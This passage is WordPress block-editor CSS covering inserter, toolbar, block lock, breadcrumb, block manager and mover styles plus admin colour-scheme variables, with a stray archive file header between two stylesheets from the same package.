.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:hover{
  box-shadow:inset 0 0 0 2px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.block-editor-inserter__media-list__item{
  height:100%;
}
.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview{
  align-items:center;
  border-radius:2px;
  display:flex;
  overflow:hidden;
}
.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview>*{
  margin:0 auto;
  max-width:100%;
  outline:1px solid #0000001a;
  outline-offset:-1px;
}
.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview .block-editor-inserter__media-list__item-preview-spinner{
  align-items:center;
  background:#ffffffb3;
  display:flex;
  height:100%;
  justify-content:center;
  pointer-events:none;
  position:absolute;
  width:100%;
}
.block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview>*{
  outline-color:var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-1);
  outline-width:var(--wp-admin-border-width-focus);
}
@media not (prefers-reduced-motion){
  .block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview>*{
    transition:outline .1s linear;
  }
}

.block-editor-inserter__media-list__item-preview-options__popover .components-menu-item__button .components-menu-item__item{
  min-width:auto;
}

.block-editor-inserter__mobile-tab-navigation{
  height:100%;
  padding:16px;
}
.block-editor-inserter__mobile-tab-navigation>*{
  height:100%;
}

@media (min-width:600px){
  .block-editor-inserter-media-tab-media-preview-inserter-external-image-modal{
    max-width:480px;
  }
}
.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal p{
  margin:0;
}

.block-editor-inserter__hint{
  margin:16px 16px 0;
}

.block-editor-patterns__sync-status-filter .components-input-control__container select.components-select-control__input{
  height:40px;
}

.block-editor-inserter__pattern-panel-placeholder{
  display:none;
}

.block-editor-inserter__menu.is-zoom-out{
  display:flex;
}
@media (min-width:782px){
  .block-editor-inserter__menu.is-zoom-out.show-panel:after{
    content:"";
    display:block;
    height:100%;
    width:300px;
  }
}

@media (max-width:959px){
  .show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{
    flex-direction:column;
  }
}
.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{
  flex-direction:column;
}

.block-editor-tabbed-sidebar__tabpanel .block-editor-inserter__help-text{
  display:none;
  padding:0 24px 16px;
}
@media (min-width:480px){
  .block-editor-tabbed-sidebar__tabpanel .block-editor-inserter__help-text{
    display:block;
  }
}

.spacing-sizes-control .spacing-sizes-control__custom-value-input,.spacing-sizes-control .spacing-sizes-control__label{
  margin-bottom:0;
}
.spacing-sizes-control .spacing-sizes-control__custom-value-range,.spacing-sizes-control .spacing-sizes-control__range-control{
  flex:1;
  margin-bottom:0;
}

.spacing-sizes-control__header{
  height:16px;
  margin-bottom:12px;
}

.spacing-sizes-control__dropdown{
  height:24px;
}

.spacing-sizes-control__custom-select-control,.spacing-sizes-control__custom-value-input{
  flex:1;
}

.spacing-sizes-control__custom-toggle,.spacing-sizes-control__icon{
  flex:0 0 auto;
}

.spacing-sizes-control__icon{
  margin-right:-4px;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[Udk%����dist/block-editor/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-autocompleters__block{
  white-space:nowrap;
}
.block-editor-autocompleters__block .block-editor-block-icon{
  margin-right:8px;
}
.block-editor-autocompleters__block[aria-selected=true] .block-editor-block-icon{
  color:inherit !important;
}

.block-editor-autocompleters__link{
  white-space:nowrap;
}
.block-editor-autocompleters__link .block-editor-block-icon{
  margin-right:8px;
}

.block-editor-global-styles-background-panel__inspector-media-replace-container{
  border:1px solid #ddd;
  border-radius:2px;
  grid-column:1 /  -1;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container.is-open{
  background-color:#f0f0f0;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__image-tools-panel-item{
  border:0;
  flex-grow:1;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__image-tools-panel-item .components-dropdown{
  display:block;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .block-editor-global-styles-background-panel__inspector-preview-inner{
  height:100%;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .components-dropdown{
  display:block;
}
.block-editor-global-styles-background-panel__inspector-media-replace-container .components-dropdown .block-editor-global-styles-background-panel__dropdown-toggle{
  height:40px;
}

.block-editor-global-styles-background-panel__image-tools-panel-item{
  border:1px solid #ddd;
  grid-column:1 /  -1;
  position:relative;
}
.block-editor-global-styles-background-panel__image-tools-panel-item .components-drop-zone__content-icon{
  display:none;
}
.block-editor-global-styles-background-panel__image-tools-panel-item .components-dropdown{
  display:block;
}
.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button{
  color:#1e1e1e;
  display:block;
  width:100%;
}
.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-editor-global-styles-background-panel__image-tools-panel-item button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-global-styles-background-panel__image-tools-panel-item .block-editor-global-styles-background-panel__loading{
  height:100%;
  padding:10px 0 0;
  position:absolute;
  width:100%;
  z-index:1;
}
.block-editor-global-styles-background-panel__image-tools-panel-item .block-editor-global-styles-background-panel__loading svg{
  margin:0;
}

.block-editor-global-styles-background-panel__dropdown-toggle,.block-editor-global-styles-background-panel__image-preview-content{
  height:100%;
  padding-left:12px;
  width:100%;
}

.block-editor-global-styles-background-panel__dropdown-toggle{
  background:#0000;
  border:none;
  cursor:pointer;
}

.block-editor-global-styles-background-panel__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-editor-global-styles-background-panel__inspector-preview-inner .block-editor-global-styles-background-panel__inspector-image-indicator-wrapper{
  height:20px;
  min-width:auto;
  width:20px;
}

.block-editor-global-styles-background-panel__inspector-image-indicator{
  background-size:cover;
  border-radius:50%;
  display:block;
  height:20px;
  position:relative;
  width:20px;
}

.block-editor-global-styles-background-panel__inspector-image-indicator:after{
  border:1px solid #0000;
  border-radius:50%;
  bottom:-1px;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:inherit;
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
}

.block-editor-global-styles-background-panel__dropdown-content-wrapper{
  min-width:260px;
  overflow-x:hidden;
}
.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker-wrapper{
  background-color:#f0f0f0;
  border:1px solid #ddd;
  border-radius:2px;
  width:100%;
}
.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker__media--image{
  max-height:180px;
}
.block-editor-global-styles-background-panel__dropdown-content-wrapper .components-focal-point-picker:after{
  content:none;
}

.modal-open .block-editor-global-styles-background-panel__popover{
  z-index:159890;
}

.block-editor-global-styles-background-panel__media-replace-popover .components-popover__content{
  width:226px;
}
.block-editor-global-styles-background-panel__media-replace-popover .components-button{
  padding:0 8px;
}
.block-editor-global-styles-background-panel__media-replace-popover .components-button .components-menu-items__item-icon.has-icon-right{
  margin-left:16px;
}

.block-editor-block-alignment-control__menu-group .components-menu-item__info{
  margin-top:0;
}

iframe[name=editor-canvas]{
  background-color:#ddd;
  box-sizing:border-box;
  display:block;
  height:100%;
  width:100%;
}
@media not (prefers-reduced-motion){
  iframe[name=editor-canvas]{
    transition:all .4s cubic-bezier(.46, .03, .52, .96);
  }
}

.block-editor-block-icon{
  align-items:center;
  display:flex;
  height:24px;
  justify-content:center;
  width:24px;
}
.block-editor-block-icon.has-colors svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-block-icon.has-colors svg{
    fill:CanvasText;
  }
}
.block-editor-block-icon svg{
  max-height:24px;
  max-width:24px;
  min-height:20px;
  min-width:20px;
}

.block-editor-block-inspector p:not(.components-base-control__help){
  margin-top:0;
}
.block-editor-block-inspector h2,.block-editor-block-inspector h3{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.block-editor-block-inspector .components-base-control:where(:not(:last-child)),.block-editor-block-inspector .components-radio-control:where(:not(:last-child)){
  margin-bottom:16px;
}
.block-editor-block-inspector .components-focal-point-picker-control .components-base-control,.block-editor-block-inspector .components-query-controls .components-base-control,.block-editor-block-inspector .components-range-control .components-base-control{
  margin-bottom:0;
}
.block-editor-block-inspector .components-panel__body{
  border:none;
  border-top:1px solid #e0e0e0;
  margin-top:-1px;
}

.block-editor-block-inspector__no-block-tools,.block-editor-block-inspector__no-blocks{
  background:#fff;
  display:block;
  font-size:13px;
  padding:32px 16px;
  text-align:center;
}

.block-editor-block-inspector__no-block-tools{
  border-top:1px solid #ddd;
}
.block-editor-block-list__insertion-point{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-block-list__insertion-point-indicator{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  opacity:0;
  position:absolute;
  transform-origin:center;
  will-change:transform, opacity;
}
.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{
  height:4px;
  top:calc(50% - 2px);
  width:100%;
}
.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{
  bottom:0;
  left:calc(50% - 2px);
  top:0;
  width:4px;
}

.block-editor-block-list__insertion-point-inserter{
  display:none;
  justify-content:center;
  left:calc(50% - 12px);
  position:absolute;
  top:calc(50% - 12px);
  will-change:transform;
}
@media (min-width:480px){
  .block-editor-block-list__insertion-point-inserter{
    display:flex;
  }
}

.block-editor-block-list__block-side-inserter-popover .components-popover__content>div{
  pointer-events:none;
}
.block-editor-block-list__block-side-inserter-popover .components-popover__content>div>*{
  pointer-events:all;
}

.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter{
  line-height:0;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled{
  display:none;
}

.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{
  background:#1e1e1e;
  color:#fff;
  height:24px;
  min-width:24px;
  padding:0;
}
.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{
  background:var(--wp-admin-theme-color);
}
.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:#1e1e1e;
}

@keyframes hide-during-dragging{
  to{
    position:fixed;
    transform:translate(9999px, 9999px);
  }
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar{
  border:1px solid #1e1e1e;
  border-radius:2px;
  margin-bottom:8px;
  margin-top:8px;
  overflow:visible;
  pointer-events:all;
  position:static;
  width:auto;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{
  margin-left:56px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{
  margin-left:0;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar{
  overflow:visible;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar-group{
  border-right-color:#1e1e1e;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar{
  background-color:#1e1e1e;
  color:#f0f0f0;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar.block-editor-block-contextual-toolbar{
  border-color:#2f2f2f;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button{
  color:#ddd;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:hover{
  color:#fff;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:focus:before{
  box-shadow:inset 0 0 0 1px #1e1e1e, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button:disabled,.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar button[aria-disabled=true]{
  color:#757575;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  background-color:#1e1e1e;
  border-color:#2f2f2f;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .block-editor-block-switcher__toggle{
  color:#f0f0f0;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .components-toolbar-group{
  border-right-color:#2f2f2f !important;
}
.components-popover.block-editor-block-list__block-popover .is-inverted-toolbar .is-pressed{
  color:var(--wp-admin-theme-color);
}
.components-popover.block-editor-block-list__block-popover.is-insertion-point-visible{
  visibility:hidden;
}
.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{
  opacity:0;
}
@media not (prefers-reduced-motion){
  .is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{
    animation:hide-during-dragging 1ms linear forwards;
  }
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{
  left:-57px;
  position:absolute;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector:before{
  content:"";
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  background-color:#fff;
  border:1px solid #1e1e1e;
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  padding-left:12px;
  padding-right:12px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{
  left:auto;
  margin-left:-1px;
  position:relative;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-mover__move-button-container,.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar__block-controls .block-editor-block-mover{
  border-left:1px solid #1e1e1e;
}

.is-dragging-components-draggable .components-tooltip{
  display:none;
}

.components-popover.block-editor-block-popover__inbetween .block-editor-button-pattern-inserter__button{
  left:50%;
  pointer-events:all;
  position:absolute;
  top:50%;
  transform:translateX(-50%) translateY(-50%);
}

.block-editor-block-lock-modal{
  z-index:1000001;
}
@media (min-width:600px){
  .block-editor-block-lock-modal .components-modal__frame{
    max-width:480px;
  }
}

.block-editor-block-lock-modal__options legend{
  margin-bottom:16px;
  padding:0;
}

.block-editor-block-lock-modal__checklist{
  margin:0;
}

.block-editor-block-lock-modal__options-all{
  padding:12px 0;
}
.block-editor-block-lock-modal__options-all .components-checkbox-control__label{
  font-weight:600;
}

.block-editor-block-lock-modal__checklist-item{
  align-items:center;
  display:flex;
  gap:12px;
  justify-content:space-between;
  margin-bottom:0;
  padding:12px 0 12px 32px;
}
.block-editor-block-lock-modal__checklist-item .block-editor-block-lock-modal__lock-icon{
  flex-shrink:0;
  margin-right:12px;
  fill:#1e1e1e;
}
.block-editor-block-lock-modal__checklist-item:hover{
  background-color:#f0f0f0;
  border-radius:2px;
}

.block-editor-block-lock-modal__template-lock{
  border-top:1px solid #ddd;
  margin-top:16px;
  padding-top:16px;
}

.block-editor-block-lock-modal__actions{
  margin-top:24px;
}

.block-editor-block-lock-toolbar .components-button.has-icon{
  min-width:36px !important;
}

.block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{
  margin-left:-6px !important;
}

.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{
  border-left:1px solid #1e1e1e;
  margin-left:6px !important;
  margin-right:-6px;
}

.block-editor-block-breadcrumb{
  list-style:none;
  margin:0;
  padding:0;
}
.block-editor-block-breadcrumb li{
  display:inline-flex;
  margin:0;
}
.block-editor-block-breadcrumb li .block-editor-block-breadcrumb__separator{
  fill:currentColor;
  margin-left:-4px;
  margin-right:-4px;
  transform:scaleX(1);
}
.block-editor-block-breadcrumb li:last-child .block-editor-block-breadcrumb__separator{
  display:none;
}

.block-editor-block-breadcrumb__current{
  cursor:default;
}

.block-editor-block-breadcrumb__button.block-editor-block-breadcrumb__button,.block-editor-block-breadcrumb__current{
  color:#1e1e1e;
  font-size:inherit;
  padding:0 8px;
}

.block-editor-block-card{
  align-items:flex-start;
  color:#1e1e1e;
  display:flex;
  padding:16px;
}

.block-editor-block-card__title{
  align-items:center;
  display:flex;
  flex-wrap:wrap;
  font-weight:500;
  gap:4px 8px;
}
.block-editor-block-card__title.block-editor-block-card__title{
  font-size:13px;
  line-height:1.4;
  margin:0;
}

.block-editor-block-card__name{
  padding:3px 0;
}

.block-editor-block-card .block-editor-block-icon{
  flex:0 0 24px;
  height:24px;
  margin-left:0;
  margin-right:12px;
  width:24px;
}

.block-editor-block-card.is-synced .block-editor-block-icon{
  color:var(--wp-block-synced-color);
}
.block-editor-block-compare{
  height:auto;
}

.block-editor-block-compare__wrapper{
  display:flex;
  padding-bottom:16px;
}
.block-editor-block-compare__wrapper>div{
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  max-width:600px;
  min-width:200px;
  padding:0 16px 0 0;
  width:50%;
}
.block-editor-block-compare__wrapper>div button{
  float:right;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__converted{
  border-left:1px solid #ddd;
  padding-left:15px;
  padding-right:0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html{
  border-bottom:1px solid #ddd;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:12px;
  line-height:1.7;
  padding-bottom:15px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span{
  background-color:#e6ffed;
  padding-bottom:3px;
  padding-top:3px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{
  background-color:#acf2bd;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{
  background-color:#cc1818;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__preview{
  padding:16px 0 0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{
  font-size:12px;
  margin-top:0;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__action{
  margin-top:16px;
}
.block-editor-block-compare__wrapper .block-editor-block-compare__heading{
  font-size:1em;
  font-weight:400;
  margin:.67em 0;
}

.block-editor-block-draggable-chip-wrapper{
  left:0;
  position:absolute;
  top:-24px;
}

.block-editor-block-draggable-chip{
  background-color:#1e1e1e;
  border-radius:2px;
  box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;
  color:#fff;
  cursor:grabbing;
  display:inline-flex;
  height:48px;
  padding:0 13px;
  position:relative;
  -webkit-user-select:none;
          user-select:none;
  width:max-content;
}
.block-editor-block-draggable-chip svg{
  fill:currentColor;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{
  justify-content:flex-start;
  margin:auto;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item{
  margin-right:6px;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item:last-child{
  margin-right:0;
}
.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content .block-editor-block-icon svg{
  min-height:18px;
  min-width:18px;
}
.block-editor-block-draggable-chip .components-flex__item{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
  align-items:center;
  background-color:initial;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}
@media not (prefers-reduced-motion){
  .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
    transition:all .1s linear .1s;
  }
}
.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled .block-editor-block-draggable-chip__disabled-icon{
  background:#0000 linear-gradient(-45deg, #0000 47.5%, #fff 0, #fff 52.5%, #0000 0);
  border-radius:50%;
  box-shadow:inset 0 0 0 1.5px #fff;
  display:inline-block;
  height:20px;
  padding:0;
  width:20px;
}

.block-draggable-invalid-drag-token .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{
  background-color:#757575;
  box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;
  opacity:1;
}

.block-editor-block-manager__no-results{
  font-style:italic;
  padding:24px 0;
  text-align:center;
}

.block-editor-block-manager__search{
  margin:16px 0;
}

.block-editor-block-manager__disabled-blocks-count{
  background-color:#fff;
  border:1px solid #ddd;
  border-width:1px 0;
  box-shadow:-32px 0 0 0 #fff,32px 0 0 0 #fff;
  padding:8px;
  position:sticky;
  text-align:center;
  top:-5px;
  z-index:2;
}
.block-editor-block-manager__disabled-blocks-count~.block-editor-block-manager__results .block-editor-block-manager__category-title{
  top:31px;
}
.block-editor-block-manager__disabled-blocks-count .is-link{
  margin-left:12px;
}

.block-editor-block-manager__category{
  margin:0 0 24px;
}

.block-editor-block-manager__category-title{
  background-color:#fff;
  padding:16px 0;
  position:sticky;
  top:-4px;
  z-index:1;
}
.block-editor-block-manager__category-title .components-checkbox-control__label{
  font-weight:600;
}

.block-editor-block-manager__checklist{
  margin-top:0;
}

.block-editor-block-manager__category-title,.block-editor-block-manager__checklist-item{
  border-bottom:1px solid #ddd;
}

.block-editor-block-manager__checklist-item{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-bottom:0;
  padding:8px 0 8px 16px;
}
.components-modal__content .block-editor-block-manager__checklist-item.components-checkbox-control__input-container{
  margin:0 8px;
}
.block-editor-block-manager__checklist-item .block-editor-block-icon{
  margin-right:10px;
  fill:#1e1e1e;
}

.block-editor-block-manager__results{
  border-top:1px solid #ddd;
}

.block-editor-block-manager__disabled-blocks-count+.block-editor-block-manager__results{
  border-top-width:0;
}

.block-editor-block-mover__move-button-container{
  border:none;
  display:flex;
  justify-content:center;
  padding:0;
}
@media (min-width:600px){
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    flex-direction:column;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>*{
    height:20px;
    min-width:0 !important;
    width:100%;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>:before{
    height:calc(100% - 4px);
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{
    flex-shrink:0;
    top:3px;
  }
  .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{
    bottom:3px;
    flex-shrink:0;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{
    width:48px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container>*{
    min-width:0 !important;
    overflow:hidden;
    width:24px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button{
    padding-left:0;
    padding-right:0;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{
    left:5px;
  }
  .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{
    right:5px;
  }
}

.block-editor-block-mover__drag-handle{
  cursor:grab;
}
@media (min-width:600px){
  .block-editor-block-mover__drag-handle{
    min-width:0 !important;
    overflow:hidden;
    width:24px;
  }
  .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon.has-icon{
    padding-left:0;
    padding-right:0;
  }
}

.components-button.block-editor-block-mover-button{
  overflow:hidden;
}
.components-button.block-editor-block-mover-button:before{
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media not (prefers-reduced-motion){
  .components-button.block-editor-block-mover-button:before{
    animation:components-button__appear-animation .1s ease;
    animation-fill-mode:forwards;
  }
}
.components-button.block-editor-block-mover-button:focus,.components-button.block-editor-block-mover-button:focus:before,.components-button.block-editor-block-mover-button:focus:enabled{
  box-shadow:none;
  outline:none;
}
.components-button.block-editor-block-mover-button:focus-visible:before{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.block-editor-block-navigation__container{
  min-width:280px;
}

.block-editor-block-navigation__label{
  color:#757575;
